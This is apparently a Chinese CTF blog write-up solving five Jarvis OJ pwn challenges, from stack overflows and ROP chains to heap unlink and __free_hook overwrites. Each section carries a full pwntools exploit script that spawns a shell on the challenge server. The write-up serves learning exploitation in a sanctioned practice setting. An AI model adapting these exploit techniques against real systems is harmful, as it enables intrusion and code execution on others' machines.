0x00 前言
Pwn弱雞,比賽劃水,只好跟著大佬的博客刷刷一些題目才能維持尊嚴(yán),在刷題目的時(shí)候又發(fā)現(xiàn)了一些新姿勢(shì),在此記錄一下。持續(xù)龜速更新中
0x01 200pt Smashes
程序很簡(jiǎn)單,利用gets函數(shù)接受Name導(dǎo)致溢出,溢出到stack_check_fail函數(shù)報(bào)錯(cuò)的地方將服務(wù)端的flag給打印出來(lái)


- 如果你什么都不輸入就直接跳到exit,根本不會(huì)觸發(fā)stackcheckfail。
- 輸入n(n<=32)個(gè)字符,就會(huì)將0x600d20+n的地方覆蓋32-n個(gè)0,而這個(gè)地址恰好就是flag所在的地址,就是無(wú)論如何輸入都會(huì)將0x600d20到0x600d40這段地址都會(huì)被我們所復(fù)寫或者被memset給填充為0
然后就卡在這里了,一直想如何繞過(guò)這個(gè)循環(huán),然鵝并沒(méi)有卵用,繞不過(guò)去。最終參考了一下大佬的博客,發(fā)現(xiàn)Linux下有個(gè)機(jī)制ELF重映射
ELF重映射:當(dāng)可執(zhí)行文件足夠小時(shí),在不同的區(qū)段可能被多次映射。
而這道題確實(shí)也就是考的這個(gè),在gdb中可以看到在0x400000的地址將這個(gè)可執(zhí)行文件重新映射了一遍,雖然我們覆蓋掉了0x600d20處的flag但是在0x400d20處重映射的flag并沒(méi)有被覆蓋。

from pwn import *
local = 0
if local:
p = process('./smashes')
else:
p = remote('pwn.jarvisoj.com' , 9877)#nc pwn.jarvisoj.com 9877
flag_addr = 0x400D20
p.recvuntil('name? ')
name = p64(flag_addr) * 100 #懶到不想精確計(jì)算該改哪個(gè)位置于是直接暴力覆蓋flag
p.sendline(name)
p.recvuntil('flag: ')
p.send('\x00')
p.interactive()
0x02 250pt level4
前幾個(gè)level都是簡(jiǎn)單常見(jiàn)的棧溢出、ROP,到了第四個(gè)就很有意思了,雖然程序都是一樣的,卻沒(méi)有給libc版本,用leak出來(lái)的地址去查也沒(méi)有查到,在大佬的博客中看到了pwntools中的dynelf方法。
看看pwntools官方文檔中的Example:
# Assume a process or remote connection
p = process('./pwnme')
# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef
# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system
# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system
要使用dynelf首先得需要一個(gè)能夠leak出地址的函數(shù),然后需要知道main函數(shù)的地址或者直接有可執(zhí)行文件,下面的一堆assert大概是校準(zhǔn)?有了上述條件后dynelf就可以開(kāi)始工作了,原理就是從內(nèi)存里面逐個(gè)泄露出地址來(lái)暴力搜索想要找的函數(shù)。
所以這道題的基本思路就是通過(guò)read函數(shù)溢出構(gòu)造好leak函數(shù),用dynelf在內(nèi)存中暴力搜索system實(shí)際地址,然后構(gòu)造簡(jiǎn)單rop寫/bin/sh并調(diào)用system函數(shù)即可。腳本如下:
from pwn import *
global p
local = 0
if local:
p = process('./level4')
else:
p = remote('pwn2.jarvisoj.com' , 9880)#nc pwn2.jarvisoj.com 9880
p3ret = 0x8048509
def leak(address):
elf = ELF('./level4')
pay = 'a'*0x88 +'bbbb'
pay += p32(elf.symbols['write']) + p32(p3ret) + p32(1) + p32(address) + p32(4)
pay += p32(elf.symbols['main'])
p.sendline(pay)
data = p.recv(4)
print "[*]leaking: " + data
return data
elf = ELF('./level4')
dyn = DynELF(leak, elf=ELF('./level4'))
bss_addr = 0x804A024
system_addr = dyn.lookup('system' , 'libc')
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
payload = 'a' * 0x88 + 'xebp' + p32(read_plt) + p32(p3ret) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + 'xret' + p32(bss_addr)
p.sendline(payload)
p.interactive()
但不太清楚為什么明明通過(guò)system('/bin/sh')起的shell卻只能執(zhí)行一次命令。

0x03 300pt level5
從level0到level5的程序都是差不多的,考點(diǎn)也都是棧溢出,也就是說(shuō)level5是最高難度的了。程序很簡(jiǎn)單,可以直接溢出leak地址構(gòu)rop起shell,但那是level3_x64,雖然程序是一模一樣的,同一個(gè)腳本也能pwn通,但是題目假設(shè)除了一個(gè)環(huán)境:mmap和mprotect練習(xí),假設(shè)system和execve函數(shù)被禁用,請(qǐng)嘗試使用mmap和mprotect完成本題。我跟著大牛的思路用mprotect函數(shù),利用64位ELF文件的萬(wàn)能Gadget完成了本題。

mprotect函數(shù)
函數(shù)原型:int mprotect(const void *start, size_t len, int prot);
函數(shù)功能:把自start開(kāi)始的、長(zhǎng)度為len的內(nèi)存區(qū)的保護(hù)屬性修改為prot指定的值,其中prot的值就和Linux系統(tǒng)對(duì)應(yīng)的屬性值。
萬(wàn)能Gadget
在64位ELF文件中會(huì)有一個(gè)名叫__libc_csu_init的函數(shù),看其中的匯編代碼我們會(huì)發(fā)現(xiàn)可以通過(guò)我們的精心構(gòu)造可以訪問(wèn)任何地方。我們可以先跳轉(zhuǎn)到紅色箭頭的地方,控制rbx、rbp、r12、r13、r14、r15這五個(gè)寄存器中的值,然后再ret到藍(lán)色箭頭的地方,我們可以發(fā)現(xiàn)剛剛我們構(gòu)造的r13、r14、r15中的值分別傳遞到了rdx、rsi、rdi寄存器中。而熟悉的人肯定知道rdi、rsi、rdx中的值分別對(duì)應(yīng)64位程序中調(diào)用函數(shù)的前三個(gè)參數(shù)。而且在這幾句后面還有個(gè)call,這就很騷了,雖然后面是call [r12+rbx*8]看似很復(fù)雜的匯編語(yǔ)言,但是我們可以發(fā)現(xiàn)r12和rbx的值在紅色箭頭那里我們都是可控的。如果我們將rbx中的值構(gòu)造為0,r12的值構(gòu)造為我們想要跳轉(zhuǎn)到一個(gè)指針p,這個(gè)指針p指向我們想要執(zhí)行的函數(shù)f,那么我們就可以執(zhí)行函數(shù)f了。而且,ELF文件中的got表中就有我們想要的指向函數(shù)的指針。萬(wàn)能Gadget
-
利用思路
大概就是寫shellcode到bss段,調(diào)用mprotect函數(shù)修改bss段為可執(zhí)行,然后再跳轉(zhuǎn)到bss段去執(zhí)行我們的shellcode。首先將shellcode寫到bss段就簡(jiǎn)單棧溢出調(diào)用read函數(shù)就能實(shí)現(xiàn),而后面兩步就需要用到萬(wàn)能Gadget訪問(wèn)函數(shù),那么我們肯定是要hijack got表嘛,那就在got表里面找兩個(gè)不太用的到的函數(shù)hijack一下唄。腳本如下:
from pwn import *
context.arch = 'amd64'
local = 0
if local:
p = process('./level5')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
gdb.attach(p , open('aa'))
else:
p = remote('pwn2.jarvisoj.com' , 9884)#nc pwn2.jarvisoj.com 9884
libc = ELF('./libc-2.19.so')
elf = ELF('./level5')
offset = 0x80
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = elf.bss()
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006a6
evercall_addr = 0x400690
#step1 leak libc.addr
p.recvuntil('Input:\n')
payload1 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + 'deadbeef' + p64(write_plt) + p64(main_addr)
p.send(payload1)
libc.address = u64(p.recv(8)) - libc.symbols['read']
print hex(libc.address)
#raw_input()
#step2 hijack __libc_start_main -> mprotect
p.recvuntil('Input:\n')
libc_start_main_got = elf.got['__libc_start_main']
payload2 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(libc_start_main_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload2)
mprotect_addr = libc.symbols['mprotect']
print hex(mprotect_addr)
p.send(p64(mprotect_addr))
#step3 write shellcode -> bss
p.recvuntil('Input:\n')
payload3 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload3)
shellcode = asm(shellcraft.amd64.sh())
print shellcode
p.send(shellcode)
#step4 hijack __gmon_start__ -> bss_shellcode
p.recvuntil('Input:\n')
gmon_start_got = elf.got['__gmon_start__']
payload4 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(gmon_start_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload4)
p.send(p64(bss_addr))
#raw_input()
#step5 using __libc_csu_init to call mprotect and change bss to executable and then execute shellcode
p.recvuntil('Input:\n')
payload5 = 'a' * offset + '__xebp__' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + 'deadbeef' + p64(0) + p64(1) + p64(libc_start_main_got) + p64(7) + p64(0x1000) + p64(0x600000) + p64(evercall_addr) + 'deadbeef' + p64(0) + p64(1) + p64(gmon_start_got) + p64(0) + p64(0) + p64(0) + p64(evercall_addr)
# + 'deadbeef' rbx rbp r12 -> call r12+rbx*8 r13 -> rdx r14 -> rsi r15 -> rdi
p.sendline(payload5)
p.interactive()
沒(méi)有像大佬那樣一次性把ROP鏈構(gòu)造完全然后一次性把函數(shù)都劫持到位,但我覺(jué)得這樣一步一步的邏輯清楚一些,也便于自己寫腳本,然后值得一提的是在萬(wàn)能Gadget中若將rbx構(gòu)造得比rbp少一,也就是rbx中為0,rbp中為1,那么call完之后又會(huì)跳轉(zhuǎn)到我們紅色箭頭那里然后又可以構(gòu)造一次訪問(wèn)其他位置。(詳情可以見(jiàn)call完后面的那串匯編代碼)
0x04 400pt Guestbook2
前面都是棧漏洞,之后應(yīng)該就是堆題了吧,根據(jù)ida可以分析出結(jié)構(gòu)體如下
struct heap{
int inuse;
int length;
char *post;
}
-
漏洞位置
漏洞出在edit函數(shù),在編輯已經(jīng)定義的post時(shí)可以任意指定修改長(zhǎng)度,并且realloc不會(huì)清空堆上的內(nèi)容。以及del函數(shù)在free堆塊后沒(méi)有釋放指針,造成存在Dangling Pointer。


unlink
- 利用原理
在free一個(gè)大小在fastbin以上的chunk時(shí),會(huì)檢查該chunk物理地址相連的兩個(gè)chunk,并執(zhí)行下面的邏輯:free(chunk) if(prev_chunk == freed) unlink(prev_chunk) //將兩個(gè)chunk合并 if(next_chunk == top_chunk) ...... //合并到top_chunk else if(next_chunk == freed) unlink(next_chunk) //將兩個(gè)chunk合并 to_unsortbin(chunk) //將經(jīng)過(guò)處理合并后的chunk歸入unsortbinunlink的時(shí)候會(huì)執(zhí)行如下操作指針的代碼,并且如今還有safe_unlink的check機(jī)制。
unlink(P, BK, FD) { FD = P->fd; BK = P->bk; if(__builtin_expect (FD->bk != P || BK->fd != P, 0)) //safe_unlink malloc_printerr (check_action, "corrupted double-linked list", P); else{ FD->bk = BK; BK->fd = FD; ......................................... } }
- 構(gòu)造條件
紅色邊框中的一個(gè)大堆塊構(gòu)造兩個(gè)小堆塊,大小都在unsort bin的范圍內(nèi),并且將要free的堆塊(黑色箭頭所指)的前一個(gè)堆塊為freed的狀態(tài),也就是該堆塊的size位(綠色箭頭所指)的prev_inuse為0,同樣因?yàn)樵摱褖K為inused狀態(tài),故下一堆塊的size位(紫色箭頭所指)的prev_inuse為1。這樣就構(gòu)造好了觸發(fā)unlink的條件,此時(shí)free該堆塊會(huì)導(dǎo)致前一個(gè)堆塊進(jìn)行unlink操作,現(xiàn)在要構(gòu)造繞過(guò)safe_unlink的check了。也就是需要有一個(gè)指針指向前一個(gè)堆塊的堆頭處也就是如紅色箭頭所示ptr指向fake_prev,并且將該偽堆塊的fd和bk分別布置為ptr-0x18和ptr-0x10(32位時(shí)為ptr-0xc和ptr-0x8),這樣就可以滿足unsafe_unlink的check了。- 觸發(fā)效果
在unlink紅色箭頭所指的堆塊后,指針ptr所指會(huì)由剛剛的fake_prev變成ptr-0x18的位置(紅色箭頭變?yōu)樗{(lán)色箭頭),再編輯ptr的時(shí)候就能夠覆蓋到ptr本身實(shí)現(xiàn)后續(xù)利用。
unlink
利用思路
先add堆塊并free掉一個(gè)保證堆上有指向libc的指針,edit前一個(gè)結(jié)構(gòu)體導(dǎo)致堆溢出覆蓋掉后面的post后再通過(guò)list可泄露出libc的基址,再在后面的堆塊中通過(guò)溢出構(gòu)造unlink最終起shell。my-exp
from pwn import *
local = 1
if local:
p = process('./guestbook2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#gdb.attach(p)# , open('aa'))
else:
p = remote('pwn.jarvisoj.com' , 9879)#nc pwn.jarvisoj.com 9879
libc = ELF('./libc.so.6')
def lst():
p.recvuntil('choice: ')
p.sendline('1')
return p.recvuntil('\n== PCTF')[:-8]
def add(length , content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('new post: ')
p.sendline(str(length))
p.recvuntil('your post: ')
p.send(content)
sleep(0.1)
def edit(num , length , content):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('number: ')
p.sendline(str(num))
p.recvuntil('of post: ')
p.sendline(str(length))
p.recvuntil('your post: ')
p.send(content)
sleep(0.1)
def dele(num):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('number: ')
p.sendline(str(num))
sleep(0.1)
elf = ELF('./guestbook2')
for i in range(5):
add(0x80 , str(i)*0x80)
#Make freed_chunk1_fd be chunk3_ptr then leak heap base
dele(3)
dele(1) #We have a dangling_ptr
edit(0 , 0x90 , 'a' * 0x20)
#gdb.attach(p)
a = lst().split('\n')[0][0x93:]
heap_base = u64(a + '\x00' * (8 - len(a))) - 0x19d0
chunk0_addr = heap_base + 0x30
success('heap_base => ' + hex(heap_base))
success('chunk0_addr => ' + hex(chunk0_addr))
#Make a fake_chunk satisfied the condition of unlink
payload = p64(0) + p64(0x80) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10) + 'a' * 0x60 + p64(0x80) + p64(0x90) + 'a' * 0x70
# fake_prev_size fake_size fake_fd = ptr - 0x18 fake_bk = ptr - 0x10 mess chunk1_prev_size chunk1_size mess duiqi 0x80
print hex(len(payload))
edit(0 , len(payload) , payload)
#gdb.attach(p)
#trigger unlink
dele(1)
#result: chunk0_addr = chunk0_addr - 0x18
#leak libc.address & get system_address
atoi_got = elf.got['atoi']
payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr - 0x18) + p64(1) + p64(8) + p64(atoi_got)
payload += '\x00' * (0x100 - len(payload))
edit(0 , len(payload) , payload)
a = lst().split('1. ')[1]
atoi_addr = u64(a + '\x00' * (8 - len(a)))
libc.address = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system']
success('atoi_addr => ' + hex(atoi_addr))
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
#write atoi to system & get shell
edit(1 , 8 , p64(system_addr))
p.sendline('/bin/sh\x00')
p.interactive()
0x05 450pt ItemBoard
題目沒(méi)有去符號(hào)表,根據(jù)ida可分析出item數(shù)據(jù)結(jié)構(gòu)如下:
struct item{
char *name;
char *description;
void (*item_free)();
}
- 漏洞位置
漏洞位于new_item函數(shù)中,在輸入description時(shí)給中間變量buf的長(zhǎng)度可控,而buf為char buf[1024],此處存在緩沖區(qū)溢出。此外在執(zhí)行item_free時(shí)只沒(méi)有清除指針,并且在list_item和show_item的時(shí)候沒(méi)有檢查是否inuse。
new_item
item_free
list_item
show_item
- 善于利用棧上的結(jié)構(gòu)體,并結(jié)合代碼段的寫操作構(gòu)造合理的覆蓋
- __free_hook_ptr的定位,pwntools庫(kù)中的libc.symbols無(wú)法定位到__free_hook_ptr,ida中查找也不是特別方便,只好在調(diào)試時(shí)先確定__free_hook的地址,再用find的指令查找__free_hook再減去libc基址便可得到__free_hook_ptr的偏移。
- 在遠(yuǎn)程使用不同的libc時(shí)通過(guò)freed unsort bin上指向main_arena泄露地址找libc基址時(shí)偏移與本地不同的方法:可先減去__malloc_hook的偏移,然后再?gòu)?qiáng)行頁(yè)對(duì)齊,由于main_arena在__malloc_hook下面不遠(yuǎn)處,所以先減去__malloc_hook后,離頁(yè)對(duì)齊差的不是很多,可以一眼看出來(lái)該如何對(duì)齊。
利用思路
第一步,先構(gòu)造free到unsort bin上的堆塊,free后產(chǎn)生指向main_arena的地址,并通過(guò)show_item來(lái)leak出libc的基址。第二步,通過(guò)控制v2溢出buf并且繼續(xù)向下覆蓋掉i棧上的item結(jié)構(gòu)體,在下面strcpy的時(shí)候,將buf賦值給覆蓋后新的item + 8指向的地方。正常情況下我們會(huì)將free_hook改成system函數(shù),所以我們可將item覆蓋為+8后指向free_hook的地方。恰好,在libc里面會(huì)有一個(gè)__free_hook_ptr是指向__free_hook的。所以整體思路為:泄露出libc基址后,將棧上的item結(jié)構(gòu)體指針覆蓋為__free_hook_ptr - 8,然后通過(guò)strcpy把__free_hook覆蓋為system地址,然后free掉寫有/bin/sh的堆塊即可get shell。my-exp
from pwn import *
local = 0
---
if local:
p = process('./itemboard')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('pwn2.jarvisoj.com' , 9887)#nc pwn2.jarvisoj.com 9887
libc = ELF('./libc-2.19.so')
elf = ELF('./itemboard')
def add(name , length , description):
p.recvuntil('choose:\n')
p.sendline('1')
sleep(0.1)
p.recvuntil('name?\n')
p.sendline(name)
sleep(0.1)
p.recvuntil('len?\n')
p.sendline(str(length))
sleep(0.1)
p.recvuntil('Description?\n')
p.sendline(description)
sleep(0.1)
def lst():
p.recvuntil('choose:\n')
p.sendline('2')
return p.recvuntil('1.Add')[:-6]
def show(no):
p.recvuntil('choose:\n')
p.sendline('3')
p.recvuntil('item?\n')
p.sendline(str(no))
a = p.recvuntil('1.Add')[:-6]
name = a.split('\nDescription:')[0].split('Name:')[1]
description = a.split('\nDescription:')[1]
return name , description
def remove(no):
p.recvuntil('choose:\n')
p.sendline('4')
p.recvuntil('item?\n')
p.sendline(str(no))
def debug():
print pidof(p)[0]
raw_input()
add('a' * 0x10 , 0x80 , '1' * 4 + 'Just A Fish Test' + '2' * 4)
add('b' * 0x10 , 0x80 , '3' * 4 + 'Just A Fish Test' + '4' * 4)
add('c' * 0x10 , 0x80 , '5' * 4 + 'Just A Fish Test' + '6' * 4)
remove(1)
if local:
libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x68
free_hook_ptr = libc.address + 0x3c3ef8
else:
libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x78
free_hook_ptr = libc.address + 0x3bdee8
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('free_hook_ptr => ' + hex(free_hook_ptr))
success('system_addr = > ' + hex(system_addr))
add('/bin/sh\x00' , 0x410 , p64(system_addr) + 'a' * 0x400 + p64(free_hook_ptr - 8))
remove(3)
#debug()
p.interactive()





